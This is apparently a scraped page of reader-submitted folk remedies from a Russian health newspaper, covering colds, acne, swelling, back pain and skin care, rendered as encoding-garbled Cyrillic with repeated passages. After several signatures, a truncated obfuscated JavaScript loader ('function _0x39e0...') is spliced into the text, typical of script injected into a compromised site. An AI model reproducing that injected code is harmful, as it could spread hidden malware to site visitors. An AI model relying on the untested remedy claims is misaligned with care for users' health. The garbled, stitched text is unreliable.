«Àðãóìåíòû è ôàêòû»
Ìíîãèå çíàþò, ÷òî ìàëèíà – ïðåêðàñíîå ñðåäñòâî îò ïðîñòóäû
Îäíàêî íàéòè ÿãîäû ïîñåðåäèíå çèìû – çàäà÷à íåïðîñòàÿ.
Íî íå îò÷àèâàéòåñü, â áîðüáå ïðîòèâ ïðîñòóäíûõ çàáîëåâàíèé ïðåêðàñíî ïîìîãàþò äàæå âåòêè ìàëèíû, êîòîðûå ìîæíî ñîáèðàòü è ëåòîì, è çèìîé. Çàâàðèòå 1 ñòàêàíîì êèïÿòêà 1 ñò. ëîæêó ìåëêî íàðåçàííûõ âåòî÷åê, êèïÿòèòå èõ íà ìàëîì îãíå 20 ìèí., íàñòàèâàéòå 30 ìèí. è ïåéòå ïî òðåòè ñòàêàíà 3 ðàçà â äåíü äî åäû.
Îëüãà Ãîìåëüñêàÿ, Òâåðüfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const...
Ìíîãèå èç íàñ ñòðàäàþò îò ÷ðåçìåðíûõ ñòðåññîâ, áîëüøèõ íàãðóçîê è òðóäíîñòåé
Ðàáîòàþ ãëàâíûì áóõãàëòåðîì â êðóïíîé ôèðìå. Ó ìåíÿ â ïîä÷èíåíèè 15 ÷åëîâåê, äà è ðàáîòà, ñàìè ïîíèìàåòå, íåðâíàÿ – òî îò÷åòû, òî ïðîâåðêè.
Õî÷ó ïîäåëèòüñÿ ñâîèì ôèðìåííûì ñðåäñòâîì, êîòîðîå ïîìîãàåò ìíå ðàññëàáèòüñÿ äàæå ïîñëå ñàìîãî íàïðÿæåííîãî ðàáî÷åãî äíÿ.
Íóæíî íàïîëíèòü âàííó âîäîé ïðèÿòíîé òåìïåðàòóðû, ðàñòâîðèòü â íåé 100 ã ìåäà. Ïîëåæèòå â âàííå 10–15 ìèíóò, è âû ñðàçó ïî÷óâñòâóåòå, êàê óõîäèò íàïðÿæåíèå. Êñòàòè, ñïèòñÿ ïîñëå òàêîé âàííû ïðîñòî çàìå÷àòåëüíî.
Òàòüÿíà Âàñèëü÷åíêî, Ìîñêâàfunction _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let...
Êàê èçáàâèòüñÿ îò ïðûùåé íàðîäíûìè ñðåäñòâàìè â äîìàøíèõ óñëîâèÿõ?
Ïåðåõîäíûé âîçðàñò ó ìåíÿ çàêîí÷èëñÿ äàâíûì-äàâíî, îäíàêî êîæà âñå ðàâíî îñòàâëÿëà æåëàòü ëó÷øåãî. Íà ëèöå òî è äåëî âñêàêèâàëè ïðûùèêè, ïîÿâëÿëèñü âîñïàëåíèÿ. Ñêîëüêî äåíåã ÿ ïåðåâåëà íà äîðîãóþ êîñìåòèêó – âñïîìíèòü ñòðàøíî, à â ðåçóëüòàòå èçáàâèëàñü îò ïðûùåé ïðè ïîìîùè íàðîäíûõ ñðåäñòâ. Âîò ÷òî ìíå ïîìîãëî:
Íàñòîé ëèñòüåâ àëîý. Ëèñòüÿ àëîý äðåâîâèäíîãî ñðåçàòü ñ ðàñòåíèÿ, ïðîìûòü è âûäåðæàòü 10 ñóòîê â òåìíîì õîëîäíîì ìåñòå, çàòåì èçìåëü÷èòü èõ äî êàøèöåîáðàçíîãî ñîñòîÿíèÿ, çàëèòü õîëîäíîé êèïÿ÷åíîé âîäîé (íà 1 ÷àñòü êàøèöû 5 ÷àñòåé âîäû). Íàñòàèâàòü ñìåñü â òå÷åíèå ÷àñà, çàòåì ïðîêèïÿòèòü íå áîëåå 2–3 ìèíóò, ïðîöåäèòü è ïðîòèðàòü...
Îò¸ê - ýòî ñêîïëåíèå èçáûòî÷íîãî êîëè÷åñòâà æèäêîñòè â òêàíÿõ. Ïðè÷èíû, ïî êîòîðûì îòåêàþò íîãè, ìîãóò áûòü ñàìûìè ðàçíûìè...
Çèìîé ó ìåíÿ âñåãäà îòåêàþò íîãè. Îò ýòîé íàïàñòè ñïàñàþñü êóðàãîé - çàëèâàþ 50 ã ñóõîôðóêòîâ ñòàêàíîì êèïÿòêà, íàñòàèâàþ 3-4 ÷àñà, ïðîöåæèâàþ è ïðèíèìàþ ïî ïîëñòàêàíà 2 ðàçà â äåíü. Ïîìîãàåò îòìåííî!
Á. Äîëãèõ, Êàçàíü
Êîììåíòèðóåò Âåðà Êóêàðöåâà, âðà÷-òåðàïåâò âûñøåé êàòåãîðèè:
- Êóðàãà îáëàäàåò ìî÷åãîííûì äåéñòâèåì è ïîýòîìó èñïîëüçóåòñÿ ïðè ìíîãèõ çàáîëåâàíèÿõ, ñîïðîâîæäàþùèõñÿ îò¸êàìè, - îáû÷íî ýòî áîëåçíè ïî÷åê, ïå÷åíè è ñåðäå÷íî-ñîñóäèñòîé ñèñòåìû. Çèìîé êîìïîò èç êóðàãè îñîáåííî ïîëåçåí. Âåäü âûñóøåííûé àáðèêîñ - êëàäåçü êàëèÿ, êàðîòèíà, ôîñôîðà, êàëüöèÿ, æåëåçà, âèòàìèíà Â5, à ñîäåðæàùèåñÿ â êóðàãå ïåêòèíû íîðìàëèçóþò ðàáîòó...
Îò¸ê - ýòî ñêîïëåíèå èçáûòî÷íîãî êîëè÷åñòâà æèäêîñòè â òêàíÿõ. Ïðè÷èíû, ïî êîòîðûì îòåêàþò íîãè, ìîãóò áûòü ñàìûìè ðàçíûìè...
Çèìîé ó ìåíÿ âñåãäà îòåêàþò íîãè. Îò ýòîé íàïàñòè ñïàñàþñü êóðàãîé - çàëèâàþ 50 ã ñóõîôðóêòîâ ñòàêàíîì êèïÿòêà, íàñòàèâàþ 3-4 ÷àñà, ïðîöåæèâàþ è ïðèíèìàþ ïî ïîëñòàêàíà 2 ðàçà â äåíü. Ïîìîãàåò îòìåííî!
Á. Äîëãèõ, Êàçàíü
Êîììåíòèðóåò Âåðà Êóêàðöåâà, âðà÷-òåðàïåâò âûñøåé êàòåãîðèè:
- Êóðàãà îáëàäàåò ìî÷åãîííûì äåéñòâèåì è ïîýòîìó èñïîëüçóåòñÿ ïðè ìíîãèõ çàáîëåâàíèÿõ, ñîïðîâîæäàþùèõñÿ îò¸êàìè, - îáû÷íî ýòî áîëåçíè ïî÷åê, ïå÷åíè è ñåðäå÷íî-ñîñóäèñòîé ñèñòåìû. Çèìîé êîìïîò èç êóðàãè îñîáåííî ïîëåçåí. Âåäü âûñóøåííûé àáðèêîñ - êëàäåçü êàëèÿ, êàðîòèíà, ôîñôîðà, êàëüöèÿ, æåëåçà, âèòàìèíà Â5, à ñîäåðæàùèåñÿ â êóðàãå ïåêòèíû íîðìàëèçóþò ðàáîòó...
Ìîæíî áûòü âûñïàâøèìñÿ è îòäîõíóâøèì, íî åñëè ó ÷åëîâåêà «ìåøêè» ïîä ãëàçàìè – îí áóäåò âûãëÿäåòü çàìó÷åííûì è áîëüíûì...
Îò ìåøêîâ ïîä ãëàçàìè èçáàâëÿþñü ñ ïîìîùüþ ïåòðóøêè. Ëèñòüÿ íàðåçàþ, ïðèêëàäûâàþ ê âåêàì, ñâåðõó íàêðûâàþ âëàæíûìè âàòíûìè òàìïîíàìè è äåðæó ïÿòü ìèíóò.
Å. Ñàâ÷åíêî, Òàëäîì
Êîììåíòèðóåò Àííà Ñòåíüêî, ä. ì. í., çàâîòäåëåíèåì Èíñòèòóòà ïëàñòè÷åñêîé õèðóðãèè è êîñìåòîëîãèè:
- Ìàñêà èç ïîáåãîâ ïåòðóøêè íå òîëüêî ñíèìàåò îò¸êè ïîä ãëàçàìè, íî çà ñ÷¸ò áîëüøîãî êîëè÷åñòâà âèòàìèíîâ îòáåëèâàåò è òîíèçèðóåò êîæó.function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const...
Îñòåîõîíäðîç - êðàéíå ñåðüåçíîå è íåïðèÿòíîå çàáîëåâàíèå
Ó ìîåãî ìóæà îñòåîõîíäðîç. Êàê ÷óòü åãî ïðîäóåò èëè îí ïîäíèìåò ÷òî-íèáóäü òÿæåëîå, òàê ñðàçó æå íà÷èíàåò áîëåòü ïîÿñíèöà. Ìû ïåðåïðîáîâàëè ìíîæåñòâî ëåêàðñòâ è íàðîäíûõ ñðåäñòâ ïðîòèâ ýòîé íàïàñòè è õîòèì ïîäåëèòüñÿ òåìè ðåöåïòàìè, êîòîðûå èñïðàâíî íàñ âûðó÷àþò.
● Ìèêñòóðà èç êîðíÿ ñåëüäåðåÿ. 2 êã ñåëüäåðåÿ ïðîêðóòèòü ÷åðåç ìÿñîðóáêó è ñìåøàòü â òðåõëèòðîâîé áàíêå ñ 1 êã ìåäà. Ìèêñòóðó ïîñòàâèòü â òåìíîå ìåñòî (íî íå â õîëîäèëüíèê) íà 2 íåäåëè. Ïðèíèìàòü ëåêàðñòâî íóæíî ïî 1 ñò. ëîæêå òðè ðàçà â äåíü äî åäû (äî ïîëíîãî âûçäîðîâëåíèÿ). Ñìåñü ýòà î÷åíü íåïðèÿòíàÿ íà âêóñ, íî çäîðîâî ïîìîãàåò ïðè ðàäèêóëèòå è îñòåîõîíäðîçå.
● Ðàñòèðàíèå...
Êàê ïåðåæèòü çèìó áåç ãðèïïà è ïðîñòóäû?
Õî÷ó ïîäåëèòüñÿ ïðåêðàñíûì ðåöåïòîì, êîòîðûé óêðåïèò èììóíèòåò è ïîìîæåò ïåðåæèòü çèìó áåç ãðèïïà è ïðîñòóä.
● Õâîþ ïðîìîéòå ñíà÷àëà â òåïëîé, à ïîòîì â õîëîäíîé âîäå, èãîëêè ìåëêî ïîðåæüòå è ñëîæèòå â ñòåêëÿííóþ áàíêó, çàñûïàâ ñàõàðîì èç ðàñ÷åòà 4:1. Òàê õâîÿ ìîæåò õðàíèòüñÿ äî ñàìîãî ëåòà.
Èç ýòîé ìàññû ïðèãîòîâüòå õâîéíûé íàïèòîê: 2 ñò. ëîæêè «ñëàäêèõ èãîëîê» çàëåéòå 4 ñòàêàíàìè õîëîäíîé êèïÿ÷åíîé âîäû, òðè äíÿ íàñòàèâàéòå, çàòåì ïðîöåäèòå è ïðèíèìàéòå ïî 0,5 ñòàêàíà äâà ðàçà â äåíü. Ïåéòå êóðñàìè ïî 3–5 äíåé ñ ïåðåðûâîì íà 3 íåäåëè.
Òàòüÿíà Ñåìåíîâíà Åëîõèíà, Ðÿçàíü
Ëè÷íîå ìíåíèå
Àíôèñà ×åõîâà
– ß çà íàðîäíóþ ìåäèöèíó...
Îáû÷íàÿ ïðîñòóäà èíîãäà ïðèâîäèò ê îñëîæíåíèÿì èëè äðóãèì çàáîëåâàíèÿì
Õî÷ó ïîäåëèòüñÿ ñâîèì ôèðìåííûì ðåöåïòîì îò ïðîñòóäû. Äóìàþ, â çèìíèå õîëîäà îí áóäåò ïîëåçåí ìíîãèì. Ïðè ïðîñòóäå, êàøëå è áîëè â ãîðëå ïîìîæåò ÷åñíî÷íûé îòâàð.
×òîáû åãî ïðèãîòîâèòü, íåîáõîäèìî âëèòü â ýìàëèðîâàííóþ êàñòðþëþ îäèí ñòàêàí ñ ÷åòâåðòüþ âîäû è, êîãäà îíà çàêèïèò, äîáàâèòü 1 çóá÷èê êðóïíîíàðåçàííîãî ÷åñíîêà. Ïðîêèïÿòèòü â òå÷åíèå 5 ìèíóò íà ñëàáîì îãíå, çàòåì ñíÿòü ñ îãíÿ, íàêðûòü êðûøêîé è îñòóäèòü â òå÷åíèå 45 ìèíóò. Îòâàð ïðîöåäèòü è ïèòü ïî ïîëñòàêàíà îäèí ðàç â äåíü.
Âêóñ è çàïàõ, êîíå÷íî, îñòàâëÿþò æåëàòü ëó÷øåãî, íî ïîìîãàåò ÷åñíî÷íûé îòâàð çàìå÷àòåëüíî!
Ïåòð Âàñèëüåâè÷ Ìóøàêîâ, Êðàñíîäàðñêèé êðàéfunction _0x39e0(_0x2e6d70,_0x39105a){const...
 õîëîäíîå âðåìÿ ãîäà óõàæèâàòü çà êîæåé íóæíî îñîáåííî òùàòåëüíî
Ó ìåíÿ åñòü ëþáèìàÿ «çèìíÿÿ» ìàñêà äëÿ ëèöà, êîòîðàÿ ïîìîãàåò ìîåé êîæå îñòàâàòüñÿ õîðîøî óâëàæíåííîé äàæå â ñàìûå ëþòûå ìîðîçû. Ïðèãîòîâèòü ýòî ñðåäñòâî ñîâñåì íåñëîæíî. ×åòâåðòü áàíàíà òùàòåëüíî ðàçîìíèòå, äîáàâüòå 0,5 ëîæêè âàøåãî ïèòàòåëüíîãî êðåìà, 3 êàïëè ëèìîíà è 3 êàïëè îëèâêîâîãî ìàñëà. Âñå õîðîøî ïåðåìåøàâ, íàíåñèòå ìàñêó íà 15 ìèíóò.
Èðèíà Ñàìîéëîâà, Àñòðàõàíü
Ëè÷íîå ìíåíèå
Îëåã Ãàçìàíîâ:
– ß î÷åíü ïîëîæèòåëüíî îòíîøóñü ê íàðîäíîé ìåäèöèíå, ïîòîìó ÷òî îíà ïðîâåðåíà âðåìåíåì. Åäèíñòâåííûé íåãàòèâíûé ìîìåíò çàêëþ÷àåòñÿ â òîì, ÷òî íåêîòîðûå ðàñòåíèÿ, ïîïàäàÿ â ãîðîäñêóþ çîíó, ìîãóò âïèòûâàòü ðàçëè÷íûå âðåäíûå âåùåñòâà, ïîýòîìó...
Î÷åíü ÷àñòî ïðîñòóäà ïðèâîäèò ê áðîíõèòó. Êàê âî âðåìÿ îñòàíîâèòü áîëåçíü?
Õî÷ó ïîäåëèòüñÿ ñî âñåìè ÷èòàòåëÿìè «ÀèÔ. Çäîðîâüå» ñâîèì ôèðìåííûì ðåöåïòîì îò êàøëÿ. Ìÿòíûé íàñòîé ïîìîãàåò ñîãðåòüñÿ è áûñòðî èçáàâëÿåò îò ñèìïòîìîâ áðîíõèòà è ïðîñòóäû.
Ñòîëîâóþ ëîæêó ìÿòû çàëåéòå ñòàêàíîì êèïÿòêà, íàãðåâàéòå 5 ìèíóò íà ìåäëåííîì îãíå, ïðîöåäèòå. Çàòåì ðàçìåøàéòå â ýòîì íàñòîå 1 ÷. ëîæêó ìåäà, ñîê ÷åòâåðòèíêè ëèìîíà è âûïåéòå ãîðÿ÷èì ïåðåä ñíîì.  áîëüøèíñòâå ñëó÷àåâ ïîñëå òàêîãî ëå÷åíèÿ êàøåëü èñ÷åçàåò áóêâàëüíî çà îäíó íî÷ü. Äëÿ çàêðåïëåíèÿ ýôôåêòà íåïëîõî ñäåëàòü ãîðÿ÷èé êîìïðåññ, ñìåøàâ òðè ÷àñòè ãîðÿ÷åé âîäû ñ îäíîé ÷àñòüþ ÿáëî÷íîãî óêñóñà. Êîìïðåññ ïðèêëàäûâàþò ê ãîðëó è ãðóäè íà 15–20 ìèíóò.
Èâàí Êîíñòàíòèíîâè÷...
Î÷åíü ïîëåçíî õîòÿ áû ðàç â íåäåëþ ïðîâîäèòü ñåàíñû ïèëèíãà è ãëóáîêîãî î÷èùåíèÿ ëèöà
Îâñÿíûå õëîïüÿ, èçìåëü÷åííûå ïðè ïîìîùè êîôåìîëêè è ðàçâåäåííûå âîäîé èëè ìîëîêîì, – îòëè÷íûé ïèëèíã äëÿ ñóõîé, ÷óâñòâèòåëüíîé êîæè ëèöà.
À äëÿ æèðíîé êîæè ïîäîéäåò òàêîé ðåöåïò: ìÿêîòü ôðóêòîâ (àáðèêîñîâ èëè ñëèâû) ñìåøàéòå ñ ïðîòåðòûìè â êîôåìîëêå çåðíàìè êîôå. Òîëüêî íå ïåðåóñåðäñòâóéòå è íå íàòèðàéòå èì êîæó äî ïîêðàñíåíèÿ. Îòøåëóøèâàþùèå ñðåäñòâà ìîæíî íàíîñèòü òîëüêî ëåãêèìè ìàññàæíûìè äâèæåíèÿìè.
Äèàíà Ì., Ñàðàòîâ
Ïîìîæåì äðóã äðóãó!
Äîðîãèå ÷èòàòåëè! Åñëè ó âàñ âîçíèêëà ïðîáëåìà ñî çäîðîâüåì, íå ñòîèò áîðîòüñÿ ñ áåäîé â îäèíî÷êó. Ðàññêàæèòå î ñâîåé áîëåçíè. Íàâåðíÿêà ñðåäè ÷èòàòåëåé íàøåé ãàçåòû íàéäóòñÿ òå, êòî çíàåò...
Î÷åíü ïîëåçíî ïðèíèìàòü âàííû ñ äîáàâëåíèåì ðàçëè÷íûõ àêòèâíûõ âåùåñòâ
Õî÷ó ðàññêàçàòü î òîì, êàê ïðè ïîìîùè îáû÷íîé âàííû è ëå÷åáíûõ òðàâ èçáàâèòüñÿ îò ðàçëè÷íûõ íåäîìîãàíèé.
Âàííà ñ ðîìàøêîé îáëàäàåò óñïîêàèâàþùèì ýôôåêòîì è èñïîëüçóåòñÿ äëÿ ëå÷åíèÿ êîæíûõ çàáîëåâàíèé. 250 ã öâåòêîâ ðîìàøêè àïòå÷íîé çàëåéòå 1,5 ë âîäû è êèïÿòèòå â òå÷åíèå 10 ìèíóò. Çàòåì îòâàð ïðîöåäèòå è âûëåéòå â âàííó.
Îòâàð äóáîâîé êîðû óñòðàíèò èçëèøíþþ ïîòëèâîñòü è ñóçèò ïîðû ïðè æèðíîé êîæå. Ãîðñòü äóáîâîé êîðû îòâàðèòå â òå÷åíèå 10 ìèíóò, ïðîöåäèòå è äîáàâüòå â âàííó ñ âîäîé.
Òåì, êòî õî÷åò óêðåïèòü íåðâû è èììóíèòåò, ïîìîæåò öèòðóñîâàÿ âàííà. 5 ëèìîíîâ ñ êîæóðîé íàðåæüòå ëîìòèêàìè è çàëåéòå õîëîäíîé âîäîé íà 2 ÷àñà. Çàòåì íàñòîé...
Ãðàíàò - îáùåóêðåïëÿþùåå ñðåäñòâî. À ÿ èñïîëüçóþ åãî äëÿ ïîëîñêàíèÿ ãîðëà ïðè àíãèíå...
Ýòî ïîìîãàåò áûñòðî èçáàâèòüñÿ îò áîëåâîãî ñèíäðîìà è ñíÿòü âîñïàëåíèå. ×åòâåðòü ñòàêàíà ñâåæåâûæàòîãî ñîêà ðàçâåñòè êèïÿ÷¸íîé âîäîé êîìíàòíîé òåìïåðàòóðû 1:1 è ïîëîñêàòü 3-4 ðàçà â äåíü.
Ì. Ñîáîëåâà, Êèæè
Êîììåíòèðóåò Åëåíà Ìèíãèíîâè÷, ê .ì. í., ãëàâíûé âðà÷ Öåíòðà òðàäèöèîííîé ôèòîòåðàïèè:
- Ñâåæåâûæàòûé ñîê ãðàíàòà ìîæíî èñïîëüçîâàòü â êà÷åñòâå ëå÷åáíîãî ïðåïàðàòà.  í¸ì ñîäåðæàòñÿ îðãàíè÷åñêèå êèñëîòû, àìèíîêèñëîòû, âîäîðàñòâîðèìûå ïîëèôåíîëû è âèòàìèíû (âêëþ÷àÿ àñêîðáèíîâóþ êèñëîòó). Ýòè öåííûå âåùåñòâà îáëàäàþò âûðàæåííûì ïðîòèâîâîñïàëèòåëüíûì äåéñòâèåì. Ïîýòîìó ïîëîñêàíèå ãîðëà ãðàíàòîâûì ñîêîì ïðèíîñèò îáëåã÷åíèå ïðè âîñïàëèòåëüíûõ...
Ïåðâûå óïîìèíàíèÿ î ëå÷åáíûõ ñâîéñòâàõ áàãóëüíèêà îòíîñèòñÿ ê XII âåêó
Íå òàê äàâíî ïîñêîëüçíóëàñü è ïîñòàâèëà ñåáå îãðîìíûé ñèíÿê.
Áûñòðî èçáàâèòüñÿ îò ãåìàòîìû ìíå ïîìîãëî òàêîå ñðåäñòâî: 1 ñò. ëîæêó ñóõîé òðàâû áàãóëüíèêà çàëåéòå ñòàêàíîì êèïÿòêà, ïðîêèïÿòèòå íà âîäÿíîé áàíå â òå÷åíèå 5 ìèíóò, äàéòå íàñòîÿòüñÿ ïîë÷àñà, ïðîöåäèòå è äåëàéòå ïðèìî÷êè íà áîëüíîå ìåñòî.
Âàëåíòèíà Ïàâëþê, Èðêóòñê
Ëè÷íîå ìíåíèå
Äàíèèë Ñïèâàêîâñêèé:
– Íå ìîãó ñêàçàòü, ÷òî ÿ àêòèâíî ïîëüçóþñü ðåöåïòàìè íàðîäíîé ìåäèöèíû, íî â ñëó÷àå ïðîñòóäû åì ÷åñíîê, ëóê, ìåä, è îíè ìíå î÷åíü õîðîøî ïîìîãàþò. Ê òàáëåòêàì îáðàùàþñü êðàéíå ðåäêî, àíòèáèîòèêè ÿ ïèë ìàêñèìóì äâà ðàçà â æèçíè, êîãäà ÷óâñòâîâàë ñåáÿ äåéñòâèòåëüíî î÷åíü ïëîõî. Â...
Åñëè ó âàñ âîçíèêëà ïðîáëåìà ñî çäîðîâüåì, íå ñòîèò áîðîòüñÿ ñ áåäîé â îäèíî÷êó!
Ó ìåíÿ õðîíè÷åñêèé ãàñòðèò. Ðàíüøå êàæäóþ âåñíó è îñåíü ìó÷èëàñü îò îáîñòðåíèé, íî òåïåðü ó ìåíÿ åñòü âåðíîå ñðåäñòâî, ÷òîáû èçáåæàòü ïëîõîãî ñàìî÷óâñòâèÿ.
Ìíå ïîìîãàåò îáû÷íûé çåëåíûé ñàëàò. ß âûðàùèâàþ åãî íà ïîäîêîííèêå è ãîòîâëþ èç ëèñòüåâ íàñòîé. Ýòî ëåêàðñòâî âîò óæå íåñêîëüêî ëåò ñïàñàåò ìåíÿ îò ïðîáëåì ñ æåëóäêîì.
Ïðèãîòîâèòü íàñòîé î÷åíü ïðîñòî. 1 ñò. ëîæêó èçìåëü÷åííûõ ëèñòüåâ ñàëàòà íóæíî çàâàðèòü ñòàêàíîì êèïÿòêà, íàñòîÿòü 1–2 ÷àñà, ïðîöåäèòü. Ïèòü ïî 1/2 ñòàêàíà 2 ðàçà â äåíü èëè ïî ñòàêàíó íà íî÷ü.
Íèíà Âëàñþê, Âîëîãäà
Ïîìîæåì äðóã äðóãó!
Äîðîãèå ÷èòàòåëè! Åñëè ó âàñ âîçíèêëà ïðîáëåìà ñî çäîðîâüåì, íå ñòîèò áîðîòüñÿ...
Ñåëüäåðåé – öåííåéøèé ïðîäóêò ïèòàíèÿ è ëå÷åáíîå ñðåäñòâî
ß ðàáîòàþ áóõãàëòåðîì, ñàìè ïîíèìàåòå, ïðèõîäèòñÿ öåëûìè äíÿìè ñèäåòü â îôèñå. Ðåçóëüòàò òàêîé ðàáîòû – ïîÿñíè÷íûé îñòåîõîíäðîç. Èçáàâèòüñÿ îò áîëåé â ñïèíå ìíå ïîìîãàåò ìèêñòóðà èç êîðíÿ ñåëüäåðåÿ.
×òîáû åå ïðèãîòîâèòü, 2 êã ñåëüäåðåÿ ïðîêðóòèòå ÷åðåç ìÿñîðóáêó è ñìåøàéòå â òðåõëèòðîâîé áàíêå ñ 1 êã ìåäà. Ìèêñòóðó ïîñòàâüòå â òåìíîå ìåñòî (íî íå â õîëîäèëüíèê) íà 2 íåäåëè. Ïðèíèìàòü ëåêàðñòâî íóæíî ïî 1 ñò. ëîæêå òðè ðàçà â äåíü äî åäû.
À âîò åùå îäèí ðåöåïò – êîìïðåññû èç àëîý ñ ìåäîì. Íàäî âçÿòü íåñêîëüêî ëèñòüåâ àëîý, ïðîìûòü è ïðîïóñòèòü èõ ÷åðåç ìÿñîðóáêó. Ê 50 ã ñîêà àëîý äîáàâèòü 100 ã ìåäà è 150 ìë âîäêè, õîðîøî ïåðåìåøàòü,...
Íè îäèí èç öèòðóñîâûõ íå îêàçûâàåò ñòîëüêî ýôôåêòîâ, êàê ãðåéïôðóò
Õî÷ó ïîäåëèòüñÿ ñâîèì ðåöåïòîì äëÿ ïðîôèëàêòèêè ïðîñòóäíûõ çàáîëåâàíèé. Ýòî ñðåäñòâî îñîáåííî ïîíðàâèòñÿ âàøèì äåòÿì, âåäü â îòëè÷èå îò áîëüøèíñòâà íàñòîåâ îíî ñëàäêîå!
×òîáû åãî ïðèãîòîâèòü, íóæíî âçÿòü 3 ãðåéïôðóòà, ïîðåçàòü íà ìåëêèå êóñî÷êè âìåñòå ñ êîæóðîé. Ïðîêèïÿòèòü èõ 20 ìèíóò â 2 ë âîäû. Âûïèòü ýòîò íàïèòîê â òå÷åíèå äíÿ, åñëè íàêàíóíå âû ïðîñòóäèëèñü èëè ïî÷óâñòâîâàëè ïåðâûå ïðèçíàêè ïðîñòóäû. Ïèòü îòâàð íóæíî î÷åíü ãîðÿ÷èì, äîáàâèâ â íåãî ìåä èëè ñàõàð.
Èðèíà Áåëÿêîâà, Òâåðü
Ïîìîæåì äðóã äðóãó!
Äîðîãèå ÷èòàòåëè! Åñëè ó âàñ âîçíèêëà ïðîáëåìà ñî çäîðîâüåì, íå ñòîèò áîðîòüñÿ ñ áåäîé â îäèíî÷êó. Ðàññêàæèòå î ñâîåé áîëåçíè....
Åñëè è ó âàñ åñòü ñòîëåòíèê, òî âû ðàñïîëàãàåòå ìãíîâåííîé êîñìåòè÷åñêîé ìàñêîé
Ìîåé ìàìå óæå çà 50. Íî, ãëÿäÿ íà íåå, íåëüçÿ äàòü åé áîëüøå 40. Êîæà ó íåå ãëàäêàÿ, ìîðùèí ïî÷òè íåò, à öâåò ëèöà òàêîé, ÷òî ïîçàâèäóþò è þíûå äåâóøêè. Êîãäà ìàìó ñïðàøèâàþò, êàê åé óäàåòñÿ õîðîøî âûãëÿäåòü, îíà ñ óäîâîëüñòâèåì äåëèòñÿ ñâîèì ðåöåïòîì ìîëîäîñòè ñî âñåìè æåëàþùèìè. Âåäü ñðåäñòâî-òî î÷åíü äîñòóïíîå. Ýòî – ñòîëåòíèê, êîòîðûé íàéäåòñÿ ïðàêòè÷åñêè íà êàæäîì ïîäîêîííèêå.
● Èç ñòàðûõ ëèñòüåâ àëîý âûæèìàþò ñîê, ðàçâîäÿò åãî âîäîé: 1 ÷àñòü ñîêà íà 4 ÷àñòè âîäû. Ñîêîì ïðîïèòûâàþò ñïåöèàëüíóþ ëüíÿíóþ èëè õëîï÷àòîáóìàæíóþ òðÿïî÷êó ñ ïðîðåçÿìè äëÿ ãëàç è íàêëàäûâàþò åå íà ëèöî íà 30–40 è áîëåå ìèíóò. Âìåñòî ëüíÿíîãî êóñêà...
Åñëè ó âàñ ñëîÿòñÿ íîãòè, òî ñóùåñòâóåò ìíîæåñòâî ñðåäñòâ, êîòîðûå ïîìîãóò èñïðàâèòü ñèòóàöèþ
 îäíîì èç ïðîøëûõ íîìåðîâ «ÀèÔ. Çäîðîâüe» ïðî÷èòàëà ïèñüìî ñ ïðîñüáîé ïîäåëèòüñÿ ñîâåòîì, êàê óêðåïèòü íîãòè. ß çíàþ îòëè÷íîå ñðåäñòâî.
×òîáû íîãîòêè íå ðàññëàèâàëèñü, âðåìÿ îò âðåìåíè áàëóéòå èõ ìàñëÿíûìè âàííî÷êàìè. Íàëåéòå â ìèñêó òåïëîå ðàñòèòåëüíîå ìàñëî, â êîòîðîå äîáàâëåíî íåñêîëüêî êàïåëü ëèìîííîãî ñîêà. Îïóñòèòå ïàëüöû â ýòó ñìåñü è ïîäåðæèòå â òå÷åíèå 10–15 ìèíóò, âûòðèòå ðóêè ñàëôåòêîé è íå ìî÷èòå èõ â áëèæàéøèå ïàðó ÷àñîâ. Âàííî÷êè ñëåäóåò äåëàòü 1–2 ðàçà â íåäåëþ, è óæå ÷åðåç ìåñÿö âû çàìåòèòå ðåçóëüòàò.
Îëüãà Ãðèøàíêîâà, Èâàíîâî
Ïîìîæåì äðóã äðóãó!
Äîðîãèå ÷èòàòåëè! Åñëè ó âàñ âîçíèêëà ïðîáëåìà ñî çäîðîâüåì, íå ñòîèò...
Äëÿ ýòîé öåëè ïðèãîäíû âñå ñîðòà ìåäà, íî ëó÷øå ïîëüçîâàòüñÿ ëèïîâûì
Íåñêîëüêî äíåé íàçàä åçäèëà íà äà÷ó, óêðûâàëà ðîçû ëàïíèêîì, óáèðàëà îïàâøèå ëèñòüÿ. Òî ëè ïåðåòðóäèëàñü ñëåãêà, òî ëè ïðîäóëî ìåíÿ, íî íàóòðî âñòàòü ñ êðîâàòè îêàçàëîñü ïî÷òè íåâîçìîæíî – î÷åíü ñèëüíî ðàçáîëåëàñü ïîÿñíèöà.
Ïðèøëîñü äàæå ñîñåäêå çâîíèòü, ïðîñèòü åå â ìàãàçèí çà ïðîäóêòàìè äëÿ ìåíÿ ñõîäèòü. Ïðîäóêòîâ îíà ìíå êóïèëà, à çàîäíî ïîñîâåòîâàëà îòëè÷íîå ñðåäñòâî, êîòîðîå ïîñòàâèëî ìåíÿ íà íîãè áóêâàëüíî íà ñëåäóþùèé äåíü. Õî÷ó ïîäåëèòüñÿ ýòèì çàìå÷àòåëüíûì ðåöåïòîì ñî âñåìè ÷èòàòåëÿìè «ÀèÔ. Çäîðîâüå».
Åñëè çàáîëåëà ñïèíà, íàìàæüòå áîëüíîå ìåñòî òîíêèì ñëîåì ìåäà, íàêðîéòå äâóìÿ ñëîÿìè áóìàæíûõ ñàëôåòîê, ñâåðõó ïîëîæèòå äâà...
Íà ðàáîòó êèøå÷íèêà âëèÿþò íå òîëüêî íåïðàâèëüíûé ðåæèì äíÿ, íî è ïåðåæèâàíèÿ
